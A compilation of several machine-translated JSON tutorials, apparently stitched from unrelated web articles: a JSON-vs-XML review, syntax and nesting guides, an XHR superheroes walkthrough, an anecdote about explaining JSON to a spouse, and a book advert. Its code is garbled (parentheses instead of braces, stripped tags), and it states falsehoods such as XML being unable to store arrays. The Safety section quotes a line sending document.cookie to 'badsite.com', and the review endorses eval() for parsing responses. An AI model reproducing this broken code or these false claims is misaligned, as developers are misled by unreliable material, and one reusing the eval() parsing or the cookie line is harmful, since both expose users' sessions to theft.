• Translation

Note: below is a translation of the review article “JSON vs XML”, dedicated to JSON and its comparison with XML according to a number of criteria. Published in order to popularize JSON among Habrahabr readers.

JSON (JavaScript Object Notation) is a data exchange format that is easy to read by people, easy to process and generate by programs.

Based on a subset of the JavaScript language, Standard ECMA-262 3rd Edition - December 1999.


JSON - Wikipedia

What is the correct response format for XMLHttpRequest in AJAX applications? For most markup-based applications, the answer is simple - (X)HTML. For information-centric applications, the choice will be between XML and JSON. Until recently, I didn't really wonder what was better to use, XML or JSON. I simply assumed that in each specific case it was worth choosing the most suitable format, that’s all. But recently I had the opportunity to test this approach in practice. In this post, I will describe the criteria by which I compared between XML and JSON, and my own conclusions.

So, the criteria are as follows.

  • Code readability.
  • Ease of creating a server-side data object.
  • Easy data processing on the client side.
  • Easy to expand.
  • Debugging and error correction.
  • Safety.

Code readability

Person person = new Person(); person.setFirstName( "Subbu"); person.setLastName( "Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

If we consider the functioning of such programming interfaces, then creating JSON is not much different from serializing Java beans into objects. However, it is worth noting that there are now many more ways to generate XML than JSON. Some of these XML APIs have been around for many years and for this reason may be more stable when used for complex applications.

Another aspect to consider will be the amount of resources that are used to generate the response. If “heavy” operations are already performed when receiving data, then it will not be difficult for the server part to additionally convert them into XML for a response. If creating XML is the most resource-intensive operation, then it is better to use JSON.

Ease of use

On the client side, processing JSON data as a response to an XMLHttpRequest is extremely simple.

Var person = eval(xhr.responseText); alert(person.firstName);

Using regular eval() you can convert the response to JavaScript object. Once this operation is completed, the data can be accessed using the properties of the converted object. This is the most elegant part of all JSON.

Now let's look at XML. To make the code snippet below more transparent, I've removed all error checking.

"firstName"); alert(elements[ 0].firstChild.textContent);

Obviously, when processing data received from the server, it is necessary to look through the entire DOM tree. This is a very labor-intensive operation and is prone to errors. Unfortunately, in the browser we have to deal with the DOM. Browsers do not support a query language like XPath for retrieving tree nodes in an XML document. Support for these functions already applies to XSLT, but it is quite limited ( note: in the browser) in terms of converting XML into markup (for example, HTML). Working Group on Web Interfaces ( Web API Working Group) from W3C is working on a selector interface ( Selectors API), which can be used to apply CSS selectors when selecting nodes from a Document object. Using such an interface, it would be possible to transform the above code example into xml.match("person.firstName") to get the firstName element. This isn't a huge achievement for the XML document in this example, but it can be useful for working with highly branched documents. This interface is not yet complete, and it will be years before browsers support it.

In general, if I have to choose between XML and JSON, I will prefer JSON due to the ease of implementing client-side processing.

Extensibility

Extensibility helps reduce the number of communications between the data provider and the recipient. In the context of AJAX applications, client-side script must be sufficiently invariant with respect to compatible changes in data.

The general belief is that XML is automatically extensible simply by virtue of the presence of the letter "X". But this is not an unconditional rule (i.e., acting by default). XML extensibility is based on the principle that you can define additional nodes in your XML and then apply a "skip what's not needed" rule (i.e., if you encounter an unfamiliar element or attribute while processing the XML, just skip it).

To take full advantage of extensibility, you need to write client-side code with extensibility in mind. For example, the following example will break down if you want to insert, for example, a middleName element.

Var xml = xhr.responseXML; var elements = xml.getElementsByTagName( "firstName"); var firstNameEl = elements[ 0]; var lastNameEl = firstNameEl.nextSibling;

If you insert an element immediately after the element , in this example the middle name will be misinterpreted as a surname. To be invariant to this change, the code needs to be rewritten to explicitly get the element , or access nextSibling only if a child with the desired tagName is found. Thus, XML is extensible as long as you write the code with future extensibility in mind. Everything is extremely simple.

Let's go back to JSON. I argue that it is easier to extend JSON data than XML. This undoubtedly requires less effort. Let's consider adding the middleName property to the JSON response. In order to access it, you just need to call it.

Alert(person.middleName);

This code Not will change if you add middle name to your answer. But what to do in the case of processing a person with or without a middle name? With JSON it's easy.

if(person.middleName) ( // Processing }

My position is that if possible future extensibility is kept in mind, both XML and JSON data can be extended. But it's easier to expand data with JSON than with XML. You simply need to check that the required property exists on the object and act according to the result of the check.

Another option to extend JSON data is to use function calls along with data declarations directly in the response.

Alert( "Hi - I'm a person"); ({"firstName" : "Subbu", "lastName" : "Allamaraju"});

When data is declared via eval() , the browser will also call the alert() expression. In this case, you can both load data and execute functions. This approach should be used with great caution, because it clutters the response with function calls and creates a connection between calls and data. Some sources also discuss the potential security vulnerabilities of this approach, which are discussed in more detail below.

Debugging and error correction

This aspect applies to both the server side of your application and the client side. On the server, you need to make sure that the data is correctly formed and correct. It should be easy to debug errors in the response on the client side.

With XML, it is relatively easy to verify that the data sent to the client is well-formed and correct. You can use schema for your data and apply it to validate the data. With JSON, this task becomes manual and requires checking that the resulting object has the correct attributes.

On the client side, in both cases it is difficult to detect errors. For XML browser will simply not be able to convert it to responseXML. For small amounts of JSON data, you can use the FireBug extension for debugging and error correction. But with large amounts of data, it becomes somewhat difficult to correlate the error message with a specific location in the code.

Safety

Dave Johnson, in his post JSON and the Golden Fleece, suggests that JSON can cause security problems. The gist of the note is that if you allow function calls to be inserted along with data in JSON responses and use eval() to process the response, then you are executing arbitrary code, in fact, which may already contain a security risk.

Window.location = "http://badsite.com?"+ document.cookie; person: ( "firstName" : "Subbu", "lastName" : "Allamaraju" }

If the response in the example above is executed, it will cause the browser to send the user's cookies to the third party site. But in this case, there is some confusion in the definition of a security threat. You should not trust data or code obtained from an unverified source. And secondly, we will not be able to use XMLHttpRequest to communicate with domains other than the script's source domain. So, only the developers themselves, when creating an application, can initiate the sending of cookies to a third-party site. This is quite doubtful, because they could just as easily place this malicious code anywhere in the document outside of the data response sent from the server. Perhaps I'm missing something, but I don't see the point in considering JSON to be unsafe compared to XML.

My choice

For information-centric applications, I would prefer to use JSON over XML due to its simplicity and ease of data processing on the client side. XML may be indispensable on the server, but JSON is definitely easier to work with on the client.

JSON (JavaScript Object Notation) is a data transfer format. As the name suggests, the format is based on the JavaScript programming language, but it is also available in other languages ​​(Python, Ruby, PHP, Java).

JSON uses the .json extension. When used in other file formats (such as .html), the JSON string is quoted or assigned to a variable. This format is easily transferred between the web server and the client or browser.

Lightweight and easy to understand JSON – great alternative XML.

This guide will introduce you to the benefits, facilities, general structure and JSON syntax.

JSON syntax and structure

A JSON object is in key-value form and is usually written in curly braces. When working with JSON, all objects are stored in a .json file, but they can also exist as separate objects in the context of the program.

The JSON object looks like this:

"first_name" : "John",
"last_name" : "Smith",
"location" : "London",
"online" : true,
"followers" : 987

This is a very simple example. A JSON object can contain many lines.

As you can see, an object consists of key-value pairs that are enclosed in braces. Most data in JSON is written as objects.

A colon is placed between the key and value. After each pair you need to put a comma. The result is:

"key" : "value", "key" : "value", "key" : "value"

The JSON key is on the left. The key must be placed in double quotes. Any valid string can be used as a key. Within one object, all keys must be unique. The key may contain a space (“first name”), but programming may have problems accessing such a key. Therefore, instead of a space, it is better to use an underscore (“first_name”).

The JSON values ​​are on the right side of the column. Any simple data type can be used as a value:

  • Strings
  • Numbers
  • Objects
  • Arrays
  • Boolean data (true or false)

Values ​​can also be represented by complex data types (for example, objects or JSON arrays).

JSON supports individual syntax for each of the data types listed above: if the value is represented by a string, then it will be quoted, but if it is a number, then it will not.

Typically, data in .json files is written in a column, but JSON can also be written in a row:

( "first_name" : "John", "last_name" : "Smith", "online" : true, )

This is how JSON data is typically written to other file types.

By writing JSON data to a column, you improve the readability of the file (especially if there is a lot of data in the file). JSON ignores spaces between columns, so you can use them to divide your data into a manageable number of columns.

"first_name" : "John",
"last_name" : "Smith",
"online" : true

Note that JSON objects are very similar to JavaScript objects, but they are not the same format. For example, you can use functions in JavaScript, but not in JSON.

The main advantage of JSON is that data in this format is supported by many popular programming languages, so it can be quickly transferred.

You are now familiar with the basic JSON syntax. But JSON files can have complex, hierarchical structure, which includes nested arrays and objects.

Complex types in JSON

JSON can store nested objects and arrays, which will be passed as the value of the key assigned to them.

Nested objects

Below you will find an example - the users.json file, which contains user data. For each user

(“john”, “jesse”, “drew”, “jamie”) a nested object is passed as a value, which, in turn, also consists of keys and values.

Note: The first nested JSON object is highlighted in red.

"john" :(
"username" : "John",
"location" : "London",
"online" : true,
"followers" : 987

"jesse" :(
"username" : "Jesse",
"location" : "Washington",
"online" : false,
"followers" : 432

"drew" :(
"username" : "Drew",
"location" : "Paris",
"online" : false,
"followers" : 321

"jamie" :(
"username" : "Jamie",
"location" : "Berlin",
"online" : true,
"followers" : 654

Note that curly braces are used in both the nested object and the main object. Commas in nested objects are used in the same way as in regular ones.

Nested Arrays

Data can be enclosed in JSON using JavaScript arrays, which will be passed as values. In JavaScript, the beginning and end of an array are used square brackets(). An array is an ordered collection of data that can contain different types of data.

An array is used to transfer a large amount of data that can be grouped. For example, let's try to record user data.

{
"first_name" : "John",
"last_name" : "Smith",
"location" : "London",
"websites" : [

"description" : "work",
"URL" : "https://www.johnsmithsite.com/"

},
{

"desciption" : "tutorials",
"URL" : "https://www.johnsmithsite.com/tutorials"

"social_media" : [

"description" : "twitter",
"link" : "https://twitter.com/johnsmith"

"description" : "facebook",
"link" : "https://www.facebook.com/johnsmith"

"description" : "github",
"link" : "https://github.com/johnsmith"

The keys “websites” and “social_media” are assigned arrays as values, which are placed in square brackets.

Using nested arrays and objects, you can create a complex data hierarchy.

JSON or XML?

XML (eXtensible Markup Language) allows you to store data in a form that is easy to understand for humans and machines. The XML format is supported by a large number of programming languages.

XML and JSON have a lot in common. However, XML requires much more text, which means that such files are larger and more difficult to read and write. Moreover, XML is only processed using an XML interpreter, while JSON can be processed using a simple function. Unlike JSON, XML cannot store arrays.

Let's compare two files: they contain the same data, but the first is written in XML format, and the second in JSON.

users.xml

John London

Jesse Washington

Drew Paris

Jamie Berlin

users.json
("users": [

("username" : "John", "location" : "London"),
("username" : "Jesse", "location" : "Washington"),
("username" : "Drew", "location" : "Paris"),
("username" : "JamieMantisShrimp", "location" : "Berlin")

JSON is a very compact format and does not require as many tags as XML. Additionally, XML, unlike JSON, does not support arrays.

If you are familiar with HTML, you will notice that the XML format is very similar to it (particularly the tags). JSON is simpler, requires less text, and is easier to use in AJAX applications, for example.

Of course, the format must be chosen depending on the needs of the application.

Tools for JSON

JSON is commonly used in JavaScript, but the format is widely used in other programming languages.

More information about JSON compatibility and processing can be found on the project website and the jQuery library.

It's rare to write JSON from scratch. Typically, data is loaded from source or converted to JSON. You can convert CSV or tab-delimited data to JSON using the open-source tool Mr. Data Converter. To convert XML to JSON and vice versa, use utilities-online.info. When working with automatic tools, be sure to check the results.

JSON files (including converted data) can be inspected using the JSONLint service. To test JSON in a web development context, refer to JSFiddle.

Conclusion

JSON is a simple and lightweight data format. JSON files are easy to transfer, store, and use.

Today JSON is often used in APIs.

JavaScript Object Notation (JSON) is a standard text format for representing structured data based on JavaScript object syntax. It is commonly used for data transfer in web applications (for example, sending some data from the server to the client so it can be displayed on a web page or vice versa). You'll run into this quite often, so in this article we give you everything you need to work with JSON using JavaScript, including parsing JSON so you can access the data inside it and create JSON.

No, really, what is JSON?

We're going to load it into our page and use some neat DOM manipulation to render it, like this:

Receiving JSON

To receive JSON we will use an API called XMLHttpRequest (often called XHR). This is a very useful JavaScript object that allows us to make network requests to retrieve resources from the server via JavaScript (e.g. images, text, JSON, even HTML snippets), meaning we can update small sections of content without having to reload the entire page. This has resulted in more responsive web pages and sounds exciting, but is unfortunately beyond the scope of this article to teach it in much more detail.

  1. Let's start with the fact that we are going to store the JSON URL we want to receive in a variable. Add the following JavaScript code: var requestURL = "https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json";
  2. To create a request, we need to create a new request object instance from the XMLHttpRequest constructor using keyword new. Add the following below as your last line: var request = new XMLHttpRequest();
  3. Now we need to open a new request using the . Add the following line: request.open("GET", requestURL);

    This takes at least two parameters - there are others available options. We only need two mandatory ones for this simple example:

    • The HTTP method to use when making a network request. This case is fine since we are just retrieving some simple data.
    • The URL for the request is the URL of the JSON file we saved earlier.
  4. Then add the following two lines: Here we are setting to JSON so that XHR knows that the server will return JSON and that this should be converted behind the scenes to a JavaScript object. Then we send the request using the method: request.responseType = "json"; request.send();
  5. The last bit of this section involves waiting for a return response from the server and then handling it. Add the following code below your previous code: request.onload = function() ( var superHeroes = request.response; populateHeader(superHeroes); showHeroes(superHeroes); )

Here we store the response to our request (available in the property) in the superHeroes variable; this variable will now contain a JSON based JavaScript object! We then pass this object to two function calls - the first one will fill

with the correct data, and the second one will create an information card for each hero in the team and insert it into
.

We wrapped the code in an event handler that fires when a load event is fired on the request object (see) - this is because the load event fires when the response is returned successfully; doing it this way ensures that request.response will definitely be available when we go to try and do something about it.

Header Filling

Now we have extracted the JSON data and turned it into a JavaScript object, let's make use of it by writing the two functions we have linked above. First of all, add the following function definition below the previous code:

Function populateHeader(jsonObj) ( var myH1 = document.createElement("h1"); myH1.textContent = jsonObj["squadName"]; header.appendChild(myH1); var myPara = document.createElement("p"); myPara. textContent = "Hometown: " + jsonObj["homeTown"] + " // Formed: " + jsonObj["formed"]; header.appendChild(myPara);

We named the parameter jsonObj to remind ourselves that this JavaScript object originated from JSON. Here we first create the element

with , set it equal to the object's squadName property, and then add it to the header with . We then perform a very similar operation with a paragraph: we create it, set its text content, and add it to the heading. The only difference is that its text is specified as a concatenated string containing both the homeTown and formed properties of the object.

Creating Hero Information Cards

Then add the following function at the bottom of the code that creates and displays the superhero cards:

Function showHeroes(jsonObj) ( var heroes = jsonObj["members"]; for (var i = 0; i< heroes.length; i++) { var myArticle = document.createElement("article"); var myH2 = document.createElement("h2"); var myPara1 = document.createElement("p"); var myPara2 = document.createElement("p"); var myPara3 = document.createElement("p"); var myList = document.createElement("ul"); myH2.textContent = heroes[i].name; myPara1.textContent = "Secret identity: " + heroes[i].secretIdentity; myPara2.textContent = "Age: " + heroes[i].age; myPara3.textContent = "Superpowers:"; var superPowers = heroes[i].powers; for (var j = 0; j < superPowers.length; j++) { var listItem = document.createElement("li"); listItem.textContent = superPowers[j]; myList.appendChild(listItem); } myArticle.appendChild(myH2); myArticle.appendChild(myPara1); myArticle.appendChild(myPara2); myArticle.appendChild(myPara3); myArticle.appendChild(myList); section.appendChild(myArticle); } }

First, let's store the members property of the JavaScript object in a new variable. This array contains several objects that contain information for each hero.

We then use to loop through each object in the array. For each of them we:

  1. Let's create several new elements:
    ,

    , three

    AND

      .
    • Installing

      to contain the name of the current hero.

    • Fill out three paragraphs with your secretIdentity , age , and a line that says “Superpowers:” to enter the information into the list.
    • We store the powers property in another new variable called superPowers - this contains an array that lists the current hero's superpowers.
    • We use another for loop to cycle through the current hero's superpowers - for each of them we create an element
    • , put the superpowers in it, and then put the listItem inside the element
        (myList) using appendChild() .
      • The last thing we do is add

        ,

        AND

          inside
          (myArticle) and then add
          V
          . The order in which things are added is important, as this is the order they will appear inside the HTML.

Note. If you're having trouble following the dot/bracket notation we use to access a JavaScript object, it may help to open the superheroes.json file in another tab or text editor and refer to it when you look at our JavaScript. You can also refer to our article for additional information about the notation of dots and brackets.

Convert between objects and text

The above example was simple in terms of accessing a JavaScript object because we specified an XHR request to directly convert the JSON response to a JavaScript object using .

All of the above answers focus on specifics. So I will try to explain the concept so that you can understand it.

What is JSON? - How I explained this to my wife TM

I:“It's basically a way of communicating with someone in writing... but with rules.

Wife: Yes....?

ME: Let's take English as an example: we have rules - full stops, commas, parentheses, hyphens, apostrophes, etc., and they all mean different things. Basically, we all agreed on what a full stop meant (i.e. we should stop when we read).

Wife: So you're saying that JSON is a way to write English to someone, but it has rules that both parties agree to?

I: Exactly! Apart from these, the rules are very specific. On prosaic English the rules are pretty loose: as with fighting cells: you can do whatever you want, except for a few basics (like gouging the eye). For example, if I wanted to tell the IRS about our family, I could do it several times using prosaic English. Note the differences in all respects:

Me:

Example 1: There are 4 people in our family: you, me and 2 children.

Example 2: Our family: you, me, kid1 and kid2.

Example 3: Family: [you, me, child1, child2]

Example 4: there were 4 people in our family: mom, dad, child1 and child2.

Wife: Okay, I get the picture. You can say the same thing a lot different ways in English. You can add a few words here and there, a few commas here and there, and everyone will still understand.

I: Exactly. With the exception of JSON, the rules are very restrictive. You can only communicate in a certain way. And you have to follow these rules so that someone else will understand it: parentheses, commas in certain places.

Wife: Why don't they just use plain English?

I: They would, but remember, dealt with computers. The computer is stupid and will not be able to understand the sentences. So we have to be really specific when computers are involved, otherwise they will get confused. Also, JSON is a pretty efficient way to communicate, so most of the irrelevant stuff is cut out, which is quite convenient. If you want to report our family to your computer, one way to do this is:

("Family": ["Me", "Wife", "Kid1", "Kid2"])

And it's mostly JSON. But remember, you MUST obey the rules of JSON grammar. If you violate these rules, the computer simply will not understand (i.e. parse) what you write.

Wife: So how do I write in Json?

Me: Read the above answers for specifics. In short, you are forced to exchange data using key-value pairs and arrays.

Resume

JSON is basically a way of passing data to someone, with very, very specific rules.

We have released a new book “Content Marketing in social networks: How to get into your subscribers’ heads and make them fall in love with your brand.”

JSON is a text-based data exchange format based on a multi-paradigm programming language. Its main purpose is to store and transmit a structured flow of information.

By using simple rules for constructing characters in JavaScript, a person can provide an easy and reliable way to store any kind of information, be it a simple number, entire strings, or a huge number of different objects expressed in plain text.

In addition, the JSON format is used to combine objects and data structures into a set of components, thereby forming software units that allow you to store and process complex records consisting of several variables of different types.

Once the file is created, the lines it contains are quite easy to redirect to another location on the Network through any data path. This is because the string is plain text.

What does JSON mean?

Despite the possibility of use in almost all scripting languages, its name refers to JavaScript. The tool has the following advantages:

  1. Occupies a relatively small volume and is compact.
  2. Text content can be easily generated and readable by computers and humans.
  3. Can be easily converted into a structure for almost all types of formal languages ​​used to create computer programs.
  4. Most programming languages, be it JavaScript, Ruby, Python or PHP, are equipped with functions and special tools for reading and editing a file.

In the vast majority of cases, the JSON format is used to work on transferring information from the server to the browser. This process usually occurs in the background between the browser and the web server, and delivery is carried out using AJAX. This is due to the fact that during the data delivery process there is no need to reload the page.

It works according to the following scenario:

  1. For example, a user clicks on a product card in an online store.
  2. JavaScript, built into the browser to make web pages more functional, generates a request using AJAX to a PHP script program file that runs on the server. Thanks to this, the ID of the selected product is transferred.
  3. The PHP script program file accepts the product name, description, cost and other information contained in the database.
  4. After this, a string is generated and sent to the browser.
  5. JavaScript takes this string, reconstructs the information it contains from its encoded representation, and then displays information about the selected product on the user's web page.

All this happens in a matter of milliseconds. However, if JavaScript is disabled on your computer for some reason, the web page will not load or will display errors.

How the JSON format works

In JSON, data types are divided into several categories: simple and complex. The first type includes, first of all, text strings and numbers, the second - objects. In total, there are six main types:

  1. Numeral. In this case, numbers can be either unsigned integers or signed integers. In particular, it may contain a fractional part and a representation of real numbers in the form of a fractional part of a logarithm and an order. The file allows the use of integers and floating point division equally. This technique is used in JavaScript for all numeric values ​​without exception, but other math libraries that use it may encode using completely different algorithms.
  2. An arbitrary sequence (string) of Latin characters, numbers and punctuation elements (from zero and Unicode characters). Each subsequent line is separated from the previous line by a pair of punctuation marks - quotation marks ("text") or by using a symbol with the reverse spelling of the usual symbol, a slash.
  3. Literals or constants included directly in the text. This can be any value from true and false or their equivalents.
  4. Array. It is an ordered list of characters from zero onwards. Each character can be represented in any form.
  5. Object. This is a chaotically composed composition of key/value pairs. Because the primary function of objects is to represent an abstract data type, it is recommended (but not required) that keys be unique.
  6. An empty value, denoted by the word "Null".

Spaces between characters are allowed if they are used between syntactic units. Several symbols are used for this: the usual indentation, horizontal text tabs, and a forward slash.

How to open JSON format

The text data exchange format can be represented in popular encoding standards, which make it possible to store and transmit Unicode characters more compactly. In particular, the default here is UTF-8. UTF-16 and UTF-32 can also be used. Their use is determined by the fact that all three standards support the entire character set.

But, if they are escaped (not quoting) to use them as regular expression, they can be written to represent characters in additional planes using UTF-16.

The easiest way to open JSON format is to use Notepad on PC. To do this, you need to create and open a new text document, select “File” in the upper left corner, then “Open”.

Having found the desired document, click on the Explorer “Open” button.

The document will open and be available for viewing and editing.

In addition to this, there are third party programs to open JSON format. Among them are Altova XMLSpy, Notepad++, Komodo Edit, Sublime Text, etc.

How to create a file

The JSON format is usually used for working (storing and using) service information. Usually this is a staffing table that neither the developer nor the audience of the web resource should see.

There are several ways to create a file with the appropriate extension. First of all, this can be done through the usual text editor, which is part of the operating room Microsoft systems Windows. To do this, you need to open Notepad, paste the appropriate code and save the document in the usual and only available extension. After this, you need to change it to the desired option.

The second method involves using third party services. The most popular is JSON Editor Online. It is much more convenient than the Notepad option. The service interface is presented in the form of two work zones.

In the first zone, the actual work of generating data takes place; in the second zone, tools for this are located. After the creation process is completed, you need to click on the “Save” button and select how to save the result: to disk or online.

As already noted, using the online service is much more convenient than Notepad. This is due to the fact that the service automatically detects syntax errors during operation and highlights them so that the user can notice omissions and correct them immediately.


Close